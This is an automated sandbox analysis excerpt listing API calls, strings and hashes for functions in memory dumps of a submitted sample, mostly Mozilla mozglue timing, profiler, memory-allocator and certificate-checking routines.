GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C3C369F
__aulldiv.LIBCMT ref: 6C3C36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C3C3773
EnterCriticalSection.KERNEL32(6C44F688), ref: 6C3C377E
LeaveCriticalSection.KERNEL32(6C44F688), ref: 6C3C37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C3C37C4
EnterCriticalSection.KERNEL32(6C44F688), ref: 6C3C37CB
LeaveCriticalSection.KERNEL32(6C44F688), ref: 6C3C3801
__aulldiv.LIBCMT ref: 6C3C3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C3C3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C3C3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C3C394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C3C35DB
QPC, xrefs: 6C3C38FC
AuthcAMDenti, xrefs: 6C3C3946
GenuntelineI, xrefs: 6C3C3639
GTC, xrefs: 6C3C3912

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: da3bcdffc2f9f6908ba50a1841e34c0b089f4c759387edc5f90151a19e903da3
Instruction ID: be9b7a0776a41112484288e366158f414527b2690381918ebd045d17fdd977b1
Opcode Fuzzy Hash: da3bcdffc2f9f6908ba50a1841e34c0b089f4c759387edc5f90151a19e903da3
Instruction Fuzzy Hash: 9EB1B371B093109BEB48FF28C844A5AB7F5FB8A708F24C92DE899D7750D73098058F92

Function 6C3DC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C3DC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C3DC969
GetSystemInfo.KERNEL32(?), ref: 6C3DC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C3DC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C3DC9E2

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 194fac96afaf2922f1f3fa79a325af9a573ba499174b17178df9d1309ace9b9a
Instruction ID: ae1cc9387d40c8582e1ff48c1466de019cfde31656baac3a519ed0a99798526f
Opcode Fuzzy Hash: 194fac96afaf2922f1f3fa79a325af9a573ba499174b17178df9d1309ace9b9a
Instruction Fuzzy Hash: 0021F5727516146BDB04FB24E884BAE73B9EB4630CF71451AF947A7A80EB716C008FA1

Function 6C3C3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C3C3095

Part of subcall function 6C3C35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C44F688,00001000), ref: 6C3C35D5
Part of subcall function 6C3C35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3C35E0
Part of subcall function 6C3C35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C3C35FD
Part of subcall function 6C3C35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C3C363F
Part of subcall function 6C3C35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C3C369F
Part of subcall function 6C3C35A0: __aulldiv.LIBCMT ref: 6C3C36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3C309F

Part of subcall function 6C3E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3E56EE,?,00000001), ref: 6C3E5B85
Part of subcall function 6C3E5B50: EnterCriticalSection.KERNEL32(6C44F688,?,?,?,6C3E56EE,?,00000001), ref: 6C3E5B90
Part of subcall function 6C3E5B50: LeaveCriticalSection.KERNEL32(6C44F688,?,?,?,6C3E56EE,?,00000001), ref: 6C3E5BD8
Part of subcall function 6C3E5B50: GetTickCount64.KERNEL32 ref: 6C3E5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C3C30BE

Part of subcall function 6C3C30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C3C3127
Part of subcall function 6C3C30F0: __aulldiv.LIBCMT ref: 6C3C3140

Part of subcall function 6C3FAB2A: __onexit.LIBCMT ref: 6C3FAB30

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 397c164c020c9824aa32b81512b94ced24805ade8d0aac82980bd72eb9d8a75a
Instruction ID: 6192af33d0e9a234c8e8c05735188dad39813fed16e6a6de5d12d4313b91d5df
Opcode Fuzzy Hash: 397c164c020c9824aa32b81512b94ced24805ade8d0aac82980bd72eb9d8a75a
Instruction Fuzzy Hash: 1EF0F922E2174496DB10FF3498415EAB370EF6B21CF20971AE89857511FF2065DA87C7

Function 01043B8C Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 01043BB7

Memory Dump Source

Source File: 00000000.00000002.1858205526.0000000001036000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EEC000, based on PE: true

Associated: 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1858205526.000000000101C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1858205526.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1858205526.00000000010C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1858205526.00000000013DF000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_1jPL5zru3u.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d702bd462dd2762c3edf60897c985262d05639a752948a4192e1604534806567
Instruction ID: c89bd500ad6e8620027ef07ef471b9b9c75e2272c83554fe5b63cf6e8b55dff8
Opcode Fuzzy Hash: d702bd462dd2762c3edf60897c985262d05639a752948a4192e1604534806567
Instruction Fuzzy Hash: AFE0ECB53005189BDB50DE4CD884B9B33DDF788210F148021F649DB205C275E8108BA1

Non-executed Functions

Function 6C3D5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C3D5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3D54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3D54BE
__Init_thread_footer.LIBCMT ref: 6C3D54DB

Part of subcall function 6C3FAB3F: EnterCriticalSection.KERNEL32(6C44E370,?,?,6C3C3527,6C44F6CC,?,?,?,?,?,?,?,?,6C3C3284), ref: 6C3FAB49
Part of subcall function 6C3FAB3F: LeaveCriticalSection.KERNEL32(6C44E370,?,6C3C3527,6C44F6CC,?,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3FAB7C

Part of subcall function 6C3FCBE8: GetCurrentProcess.KERNEL32(?,6C3C31A7), ref: 6C3FCBF1
Part of subcall function 6C3FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3C31A7), ref: 6C3FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C3D54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C3D5516
GetCurrentThreadId.KERNEL32 ref: 6C3D556A
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C3D5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C3D5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C3D5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C3D55E6
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C3D5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3D5616

Part of subcall function 6C3FAB89: EnterCriticalSection.KERNEL32(6C44E370,?,?,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284), ref: 6C3FAB94
Part of subcall function 6C3FAB89: LeaveCriticalSection.KERNEL32(6C44E370,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3FABD1

GetCurrentThreadId.KERNEL32 ref: 6C3D563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3D5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C3D567C
free.MOZGLUE(?), ref: 6C3D56AE

Part of subcall function 6C3E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C3E5EDB
Part of subcall function 6C3E5E90: memset.VCRUNTIME140(ewBl,000000E5,?), ref: 6C3E5F27
Part of subcall function 6C3E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C3E5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C3D56E8
GetCurrentThreadId.KERNEL32 ref: 6C3D5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C3D570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C3D5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C3D574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C3D576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C3D5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C3D57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C3D57CA

Strings

[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C3D5BBE
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C3D57AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C3D548D
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C3D5CF9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C3D57C5
GeckoMain, xrefs: 6C3D5554, 6C3D55D5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C3D54B9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C3D5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C3D5C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C3D5B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C3D5AC9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C3D56E3
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C3D5D2B
[I %d/%d] profiler_init, xrefs: 6C3D564E
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C3D5766
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C3D5724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C3D584E
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C3D5D24
MOZ_PROFILER_STARTUP, xrefs: 6C3D55E1
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C3D5717
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C3D54A3
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C3D5749
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C3D5D01
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C3D5791
MOZ_BASE_PROFILER_HELP, xrefs: 6C3D5511

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 4737ca480155756b9747b9b525ddd3bfb76259a0983ce8fd657d8004362a30f8
Instruction ID: 52f9d5e2a9bd7671a709ac62845d3aeef02cf41a64b87cc4df47c5976771649a
Opcode Fuzzy Hash: 4737ca480155756b9747b9b525ddd3bfb76259a0983ce8fd657d8004362a30f8
Instruction Fuzzy Hash: F72204F2A047409FE700FF748444B6AB7B5EF4634CF258529E85697A41EB32A458CFA3

Function 6C40B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C40B845
AcquireSRWLockExclusive.KERNEL32(6C44F4B8,?,?,00000000), ref: 6C40B852
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40B884
InitializeConditionVariable.KERNEL32(?), ref: 6C40B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C40B9FD
GetCurrentThreadId.KERNEL32 ref: 6C40BA05
AcquireSRWLockExclusive.KERNEL32(6C44F4B8,?,?,00000000), ref: 6C40BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C40BA27
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40BA4B
free.MOZGLUE(?), ref: 6C40C9C7
free.MOZGLUE(?), ref: 6C40C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C40C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C40C878

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 12ab96049dc1dfe41048849a21d933144af2e4df3cadc459c099d70712d59f74
Instruction ID: 664dc68908e5257eb8843555ce510845ce96b4b19fbdb7bccd288279d0a5eab2
Opcode Fuzzy Hash: 12ab96049dc1dfe41048849a21d933144af2e4df3cadc459c099d70712d59f74
Instruction Fuzzy Hash: 78A28D71A087808FD725DF28C490B9FB7E5BFC9318F148A2DE89997750DB709909CB92

Function 6C3D6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C3D6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C3D6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C3D6D26

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C3D6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C3D6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C3D6D73
free.MOZGLUE(00000000), ref: 6C3D6D80
CertGetNameStringW.CRYPT32 ref: 6C3D6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C3D6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C3D6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C3D6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C3D6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C3D6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C3D6E34
CreateFileW.KERNEL32 ref: 6C3D6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C3D6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C3D6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C3D709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C3D7103
free.MOZGLUE(00000000), ref: 6C3D7153
CloseHandle.KERNEL32(?), ref: 6C3D7176
__Init_thread_footer.LIBCMT ref: 6C3D7209
__Init_thread_footer.LIBCMT ref: 6C3D723A
__Init_thread_footer.LIBCMT ref: 6C3D726B
__Init_thread_footer.LIBCMT ref: 6C3D729C
__Init_thread_footer.LIBCMT ref: 6C3D72DC
__Init_thread_footer.LIBCMT ref: 6C3D730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C3D73C2
VerSetConditionMask.NTDLL ref: 6C3D73F3
VerSetConditionMask.NTDLL ref: 6C3D73FF
VerSetConditionMask.NTDLL ref: 6C3D7406
VerSetConditionMask.NTDLL ref: 6C3D740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C3D741A
moz_xmalloc.MOZGLUE(?), ref: 6C3D755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C3D7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C3D7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C3D7598
free.MOZGLUE(00000000), ref: 6C3D75AC

Part of subcall function 6C3FAB89: EnterCriticalSection.KERNEL32(6C44E370,?,?,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284), ref: 6C3FAB94
Part of subcall function 6C3FAB89: LeaveCriticalSection.KERNEL32(6C44E370,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3FABD1

Strings

(, xrefs: 6C3D768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C3D72C8
SHA256, xrefs: 6C3D6EC0
wintrust.dll, xrefs: 6C3D72CD

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: ba01b08db42724f393c96a2760d62638af70e5cd9a828788817dd3587c228309
Instruction ID: 5f91fa66cdde6cf5a8384c9fbe5fae02f3836a79cbcf08f0c25aa60a0bead63a
Opcode Fuzzy Hash: ba01b08db42724f393c96a2760d62638af70e5cd9a828788817dd3587c228309
Instruction Fuzzy Hash: 0452E872A012149BEB21EF24CC84FAA77BCEF46708F118599E4099B640DB71BF85CF91

Function 6C3F6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C44E7DC), ref: 6C3F7019
LeaveCriticalSection.KERNEL32(6C44E7DC), ref: 6C3F7061
EnterCriticalSection.KERNEL32(?), ref: 6C3F71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C3F721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C3F723E
EnterCriticalSection.KERNEL32(?), ref: 6C3F726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C3F72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C3F733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C3F73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C3F961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3F9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3F9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3F964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3F96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3F96DB
AcquireSRWLockExclusive.KERNEL32(6C44E804), ref: 6C3F9747
GetSystemInfo.KERNEL32(?), ref: 6C3F9792
__Init_thread_footer.LIBCMT ref: 6C3F97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C44E810,00000040), ref: 6C3F97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E7B8,00001388), ref: 6C3F9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E744,00001388), ref: 6C3F984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E784,00001388), ref: 6C3F9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E7DC,00001388), ref: 6C3F9895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C3F99A8
MOZ_CRASH(), xrefs: 6C3F9B42
: (malloc) Unsupported character in malloc options: ', xrefs: 6C3F9BF4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C3F99D2
MALLOC_OPTIONS, xrefs: 6C3F97CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C3F99BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C3F9933, 6C3F9A33, 6C3F9A4E
Compile-time page size does not divide the runtime one., xrefs: 6C3F9B38
<jemalloc>, xrefs: 6C3F9B33, 6C3F9BE3
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C3F9993

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
